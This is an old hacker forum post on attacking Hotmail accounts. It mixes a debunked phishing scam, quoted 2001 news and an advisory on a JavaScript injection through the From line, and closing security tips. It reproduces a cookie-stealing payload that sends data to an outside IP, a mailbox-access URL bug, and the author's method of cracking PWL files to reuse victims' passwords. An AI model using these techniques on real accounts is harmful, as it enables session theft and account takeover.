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Since hotmail hacking seems to be the neophyte question, I might as well come up with some answers.


The answers in this article are time sensitive as are any exploits. I do not approve of cracking into someone’s email account with out good reason. Trespassing on a server without authorization is a crime, at least in the civilized world anyways..





Besides bruteforcing and dictionary cracking the email servers, you might as well try playing with the coding used to handle your email, Ims, or access to protected pages.





Something simple like





http://www.submitnet.net/login.asp?action=0


or


http://reg2.excite.com/login?pname=mail&brand=xcit&targeturl=http%3A%2F%2Finbox.excite.com%2F





With Tripod/lycos, I used to be able to play back an old URL on a public computer to get tripod/lycos to log me on with a cookie that was left by another user. Tripod/lycos is also guilty of transmitting sensitive NFO over the internet unencrypted. 





notice the use of hex to hide simple coding like :// , these are easy to play with once you know hex converstions, or at least understand HTML . URL Coding cracking is an entirely new article.





Being familiar with the application used to run the web site/ web service is helpful, you study up on it. The above url with the .asp app, perhaps through study one could find a value for action=  that could bypass a login.








I believe this cgi hack that everyone talks about was back in 1998 and 1999, then it was disabled by MS. Actually this is a scam, you will just send your password to an email address of cracker!





THE OLD CGI HACK METHOD:





Step 1:�: : : From your own hotmail-account, compose a new letter to�: : : bootserver@HOTMAIL.COM 


: : : Step 2:�: : : Write "RETRIEVE PASSWORD" in the subject-field. 


: : : Step 3:�: : : copy and paste this java code in you message:�: : : SCRIPT language="JavaScript"�: : : server logboot="LOGIN" �: : : /cgi-bin/start/v705&27568&java-&rsa�: : : {boot} archive="YOURPASSWORD"�: : : /script 


: : : Step 4:�: : : replace LOGIN with the ID the person you want to hack�: : : replace YOURPASSWORD with your own password 


: : : �: : : The computer needs your password so it can send a javascript from your account in the Hotmail serverboot�: : : to extract the other persons password. The password will �: : : be automatically sent to your Hotmail inbox in a mail�: : : called "systemboot message" from "server".





This is actually bullshit, someone created an account called bootserver on hotmail.com, you may have also seen this scam using admin_##, hotmailtechsupport, what ever - most ISP/Email/Other web admins do not ask for your password or personal NFO via emails.











A better example of hacking a poorly written email server is like this:


-Quote-


“By typing �HYPERLINK "http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE"�http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE�&js=no&login=ENTERLOGINHERE&passwd=eh%20replace%20ENTERLOGINHERE


 into the browsers location-field You could still use the bug to see inside the mailboxes. Instead of ENTERLOGINHERE You had to type the username. “


http://www.nettime.org/nettime.w3archive/199908/msg00142.html





 +++++++





Remember hackers compromised the MS E-Wallet, just a step away from the Passport app..





this leads us to EMBEDDED JAVASCRIPT ATTACKS





First read about the MS E-WALLET crack, e-wallet is a component of the MS PASSPORT, which is MS solution to ‘one login, all accounts + wallet with all CC#s’. 


MS Hotmail has one VERY annoying feature that really pisses me off, the html-based email. I prefer text based email as txt is really harmless unlike html which can hide a webbug or active script. Because MS hotmail’s html email ALLOWS active script in the html email to run, it is vulnerable - and so are you!











MS E-Wallet hack:


http://www.cosmiverse.com/tech11050102.html





Now, with this article in mind, read this:





�HYPERLINK "http://www.newsbytes.com/news/01/169934.html"�http://www.newsbytes.com/news/01/169934.html� 


By Brian McWilliams, Newsbytes �REDMOND, WASHINGTON, U.S.A., �10 Sep 2001, 4:19 PM CST ��A new technique for attacking MSN Hotmail users has been discovered, �the latest in a cat-and-mouse game between Microsoft [NASDAQ:MSFT] and �Javascript security holes. 


By adding Javascript to the "From" line of a message sent to a Hotmail �user, an attacker can evade the filters Microsoft has put in place to �protect the millions who rely on MSN's popular Web-based e-mail �service, Newsbytes has confirmed. 


Microsoft representatives said the company was investigating the new �attack and declined further comment. 


The technique, announced today on a security mailing list, doesn't �even require that the victim open the booby-trapped message. 


According to a posting from Bart van Arnhem, a resident of the �Netherlands using the nickname "Oblivion," Hotmail takes the From �address on an incoming message and builds it into the HTML code for �displaying the Hotmail user's Inbox. 


As a result, simply viewing the service's Inbox page will cause the �hostile Javascript to execute. 


In an e-mail interview with Newsbytes, van Arnhem said that while �Hotmail allows any data to be inserted in the "From" line of incoming �messages, the service appears to be filtering Javascript from the �"Subject" line. 


[...] 


- 


The demonstration posted by van Arnhem showed how the technique can be used to pop up a message box when the Hotmail recipient views his or her inbox. Van Arnhem also provided information on automatically redirecting the recipient's browser to a specified Internet address, as well as information on causing the Hotmail user's browser to run a program on a remote server. 








And this:





Sep 10 2001 5:27PM


Author: �HYPERLINK "mailto:v_arnhem@dds.nl"�ObLiviON� <�HYPERLINK "mailto:v_arnhem@dds.nl"�v_arnhem@dds.nl�>





You can bypass the hotmail javascript 'filtering' system using the


from-address.


I used netscape messenger and set my email address to


"a background=javascript:alert('test') @hotmail.com" (without quotes),


then netscape sends it as "user"@domain.





The from-address is used by hotmail as the name of the cell for the


message link etc.





--> From my hotmail inbox page:





<td name=""a background=javascript:alert('test') "@hotmail.com">





and javascript code is executed.


And its executed on the inbox page=extra fun :)


---





"a background=javascript:location.href='fake.hotmail.bla.com'


@hotmail.com"


"a


background=javascript:document.images[1].src='�HYPERLINK "http://123.12.123.2/cgi-bin/bla.cgi?'+document.cookie+location.href"�http://123.12.123.2/cgi-bin/bla.cgi?'+document.cookie+location.href�


@hotmail.com"





etc... :)





CONCLUSION:


You are still vulnerable to html based email services, as long as they allow active script to be run in the html email. This particular javascript hack will likely still work as this was discovered only recently, and microsoft has issued its normal “gee sounds bad, we’ll look in to it, soon.” Press release about this flaw.











And one last article:





Currently hackers are focused on the MS “Passport” system that allows for one login for all accounts, Passport will be used for MS Hotmail and Win XP. AOL will use a “magic carpet” , a similar - one login, all accounts program.





America Online is quietly rolling out a new unified sign-in service, similar to Microsoft's Passport, across its properties and partner sites. Codenamed "Magic Carpet" and currently promoted as the "Screen Name Service," visitors will be able to sign in with a single click and seamlessly browse sites supporting the new technology. Additionally, the service will be compatible with AOL, AOL Instant Messenger, and CompuServe 2000 accounts. ��A clear competitor to Microsoft's fledgling Passport service, which provides authentication for MSN sites as well as a wallet service for "express" purchases, AOL's Magic Carpet could have a direct impact on the software giant's goal to establish a Web services platform. ��Currently, Web sites can license Passport from Microsoft allowing their users to sign in with a single account. The company has faced mixed results with the technology, striking deals with few sites to use the universal sign in service. Passport partners include Starbucks and online retailer ComponentSource. Up until now, the only real draw to use Passport has come from browsing Microsoft's own properties. ��However, this may change with the impending October release of Windows XP, which upon installation will repeatedly request a user to sign up for a Passport. Microsoft plans to extend this requirement even further with the launch of HailStorm next year. HailStorm is the codename for XML-based .NET services that will revolve around the Passport user authentication system. If a Windows user wishes to utilize the online calendar or messaging system for example, a Passport will be needed. ��With HailStorm set for an early 2002 debut, AOL is not wasting any time deploying their competing service. Signs of Magic Carpet have already begun to surface on AOL's servers, with a non-functional sign in page for AOL partner �HYPERLINK "http://my.screenname.aol.com/_cqr/login/login.psp?siteId=schoolsportscom"�SchoolSports.com�. ��Just like Passport, Magic Carpet works on a very simple premise - eliminate the need to remember multiple names and passwords while browsing the Web. Using an existing AOL login, a Web site can instantly and securely access all associated visitor information. ��Users of other AOL services will also note that the Internet giant has been placing a new "Screen Name" logo on many of its existing properties. In addition, current beta versions of AOL Instant Messenger and AOL 7.0 feature the Screen Name logo, in a move that appears to be preparing members for widespread adoption of the Screen Name branding. �


http://www.betanews.com/article.php3?sid=995975421>





What does all this mean? Even if you do not want to hack hotmail, the current industry attempts to get people to use a convenient “one login , all accounts” passport type system is another example of the industry getting ahead of itself. “Release a product and let the users find the bugs” method of MS and AOL can cost you your privacy and security.





Some Tips:





Change passwords frequently - this defeats brute/dictionary cracking of pwd files stolen off your box or login server


Use encryption, this defeats the hotmail crack - even if your email box is compromised, they still have to 


       deal with a encrypted file. And most lamers that will be running this hotmail java code will not have any       


       ability to begin cracking a triple DES or �HYPERLINK "http://www.esat.kuleuven.ac.be/~rijmen/rijndael/"�Rjindael� encrypted file! You also want to use encryption because 


       your files travel over the ‘unsecure’ internet. If you send an important file ,like a webpage with your CC#,  


       a login, or sensitive documents, you are a moron if you don’t use encryption. 


Avoid ‘one login, all accounts’ and especially avoid USING THE SAME PASSWORD FOR ALL YOUR ACCOUNTS!  Humans are dumb, they are lazy, so they use one password that they think is going to be strong, for all of their accounts, including login on company network. I count on this, thats why if I get physical access to a win box, I crack the pwl file - that password is likely the same for their NT/Netware login, as well as email accounts (go through HISTORY on the target’s box, and then try the passwords at all the sites the person was at)








Feel free to point out anything or add to this post.





C0VERTl


